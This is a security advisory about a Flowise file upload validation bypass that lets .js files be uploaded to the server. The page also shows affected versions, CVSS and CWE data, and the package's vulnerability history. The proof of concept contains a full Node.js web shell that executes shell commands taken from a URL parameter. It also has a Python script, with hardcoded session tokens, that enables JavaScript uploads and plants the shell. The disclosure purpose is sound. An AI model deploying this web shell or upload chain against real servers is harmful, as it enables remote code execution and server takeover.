Flowise: File Upload Validation Bypass in createAttachment
Summary
In FlowiseAI, the Chatflow configuration file upload settings can be modified to allow the application/javascript MIME type. This lets an attacker upload .js files even though the frontend doesn’t normally allow JavaScript uploads. This enables attackers to persistently store malicious Node.js web shells on the server, potentially leading to Remote Code Execution (RCE).
Details
This is a bypass of GHSA‑35g6‑rrw3‑v6xc (CVE‑2025‑61687). The Chatflow file upload settings do not properly validate MIME types. An attacker can add the application/javascript MIME type when updating a Chatflow, allowing .js files to be uploaded.
JavaScript files are not listed as an option for file upload types within web user interface: <img width="1162" height="440" alt="Screenshot 2026-01-08 152306" src="https://github.com/user-attachments/assets/f33f04af-877e-4aac-95a7-86d4684891de" />
PoC
shell.js (Node.js Web Shell)
const { exec } = require('child_process');
const http = require('http');
const server = http.createServer((req, res) => {
const url = new URL(req.url, 'http://localhost');
const cmd = url.searchParams.get('cmd');
if (cmd) {
console.log(`Executing: ${cmd}`);
exec(cmd, (error, stdout, stderr) => {
res.writeHead(200, {'Content-Type': 'text/plain'});
if (error) {
res.end(`Error: ${error.message}\n${stderr || ''}`);
} else {
res.end(stdout || 'Command executed successfully');
}
});
} else {
res.writeHead(200, {'Content-Type': 'text/html'});
res.end(`
<h1>Node.js Web Shell</h1>
<p>Use ?cmd=command to execute</p>
<p>Example: ?cmd=id</p>
`);
}
});
const PORT = 8888;
server.listen(PORT, '0.0.0.0', () => {
console.log(`Shell running on port ${PORT}`);
console.log(`Access: http://localhost:${PORT}?cmd=id`);
});
Python Upload Script
import requests
import uuid
TARGET_URL = "http://192.168.236.131:3000"
CHATFLOW_ID = "dfd67fff-23b5-4f62-a0b3-59963cabc3b2"
cookie_str = 'token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6ImEzZGNlMjgyLTE1ZDUtNDYwMi04MjI2LTc1MmQzYzExYzI5NyIsInVzZXJuYW1lIjoiYWRtaW4iLCJtZXRhIjoiOTRiOGY2MTIyMzI3ZmFmODg0YzM4OGM4Y2YwZTg3ZGU6MTVkNDc4MDFjNTQ0N2Q3NDU2Mzg3OWE2N2E5YmJjNmM0M2JiYjYzNDE0Y2MzZWY2ZThkYjAzZTRhNjM3MjBiNzA5NmI3YmIwMGM3YWI3YTRmM2QzN2E2OTRiMGVmY2UzOTFiZGU3MWJiNWViZDIyN2ZhNzc0NmQ0ZjFmNTM5NTFhOGJkNjdlMzEyZjMzOTk5OWQ0ZGNkYmVmYWU3OWI4NSIsImlhdCI6MTc2Nzg1ODE2NSwibmJmIjoxNzY3ODU4MTY1LCJleHAiOjE3Njc4NjE3NjUsImF1ZCI6IkFVRElFTkNFIiwiaXNzIjoiSVNTVUVSIn0.lUtIFztKIT6Ld8cnPaPnPfm0B47yhurPJRW6JhtSwu8; refreshToken=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6ImEzZGNlMjgyLTE1ZDUtNDYwMi04MjI2LTc1MmQzYzExYzI5NyIsInVzZXJuYW1lIjoiYWRtaW4iLCJtZXRhIjoiOThmZGE5YWE2MDZhYTA3YTMxYjZlYzhjZTkyMmZkMDA6ZTU2ZTczMTEwYjY3ZDE3ZTM3MjViZWI2YzMyYWYzNTNkOWExNzIzZWU0NzdiN2ZiMDQ1N2Q0M2JmZTY0NTIxZTlkNjM2ZWQwODgxNWJiNzU4Mjg2ZDQ3OGMwNTA3NTRkZTgwMWIwODljNDQ5YjhhZjVkODU2YWFiMzk4NTBjNjNlZjRmY2UzMmY4YWYzZmQxNGQzMmVhYzVhYjVmM2NjZCIsImlhdCI6MTc2Nzg1MzU4NSwibmJmIjoxNzY3ODUzNTg1LCJleHAiOjE3NzU2Mjk1ODUsImF1ZCI6IkFVRElFTkNFIiwiaXNzIjoiSVNTVUVSIn0.U3mm0ONOeGFP1gD-mPT90Iz_Ewwf-YXzmTPwoOEHG_g; connect.sid=s%3Avwp7SDKi02Mzu_nTF3-IZ-RfgmMnnp5o.K7kb5eg9CJ%2FuxupG4rJrT6I0fu0H93OTd5trNC0u88Y'
js_mime_type = 'application/javascript'
CHAT_ID = str(uuid.uuid4())
def configure_chatflow_uploadfile():
url = f"{TARGET_URL}/api/v1/chatflows/{CHATFLOW_ID}"
headers = {'Cookie': cookie_str, 'x-request-from': 'internal'}
chatbot_configdata = {"chatbotConfig":'{\"fullFileUpload\":{\"status\":true,\"allowedUploadFileTypes\":\"' + js_mime_type + ',text/css,text/csv,text/html,application/json,text/markdown,application/x-yaml,application/pdf,application/sql,text/plain,application/xml,application/msword,application/vnd.openxmlformats-officedocument.wordprocessingml.document,application/vnd.openxmlformats-officedocument.spreadsheetml.sheet,application/vnd.openxmlformats-officedocument.presentationml.presentation\",\"pdfFile\":{\"usage\":\"perPage\",\"legacyBuild\":false}}}'}
r = requests.put(url, headers=headers, json = chatbot_configdata)
if js_mime_type in r.text:
print("[+] Enabled .js file uploads")
else:
print("[-] Failed to enable .js file uploads")
def upload_shell():
url = f"{TARGET_URL}/api/v1/attachments/{CHATFLOW_ID}/{CHAT_ID}"
headers = {'Cookie': cookie_str}
files = {'files': ('shell.js', open('shell.js', 'rb'), 'application/javascript')}
r = requests.post(url, headers=headers, files=files)
if r.status_code == 200:
print("[+] Upload success")
print(r.text)
else:
print(f"[-] Upload failed ({r.status_code})")
print(r.text)
if __name__ == "__main__":
configure_chatflow_uploadfile()
upload_shell()
Impact
An attacker can persistently upload and store malicious web shells on the server. If executed, this leads to Remote Code Execution (RCE). The risk increases if administrators unknowingly trigger the shell or if other vulnerabilities are chained to execute the file. This presents a high-severity threat to system integrity and confidentiality.
Software afectado
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| Plataforma | Paquete | Versiones vulnerables | Corregida en |
|---|---|---|---|
| Paquete de npm | flowise | < 3.1.0 | 3.1.0 |
Referencias
- Vector CVSS
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N- Debilidad (CWE)
CWE-434- Plataforma
- npm
- Paquete
flowise- Publicada
- 16.04.2026
- Actualizado
- 11.10.2026 10:22
Fuentes y licencias
OSV / GitHub Advisory Database - GHSA-rh7v-6w34-w2rr - CC BY 4.0
Historial de vulnerabilidades: flowise
Todas las vulnerabilidades publicadas de este paquete (Paquete de npm), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.
- Entradas en total
- 114
- Primera → última
- 04.2024 10.2026
- Sin corrección
- 16
- Explotada en ataques
- 0
Distribución por gravedad
- Crítica 28
- Alta 62
- Media 24
Divulgaciones por año
- 2024: 11
- 2025: 22
- 2026: 81
-
Flowise: File Upload Validation Bypass in createAttachment esta entrada
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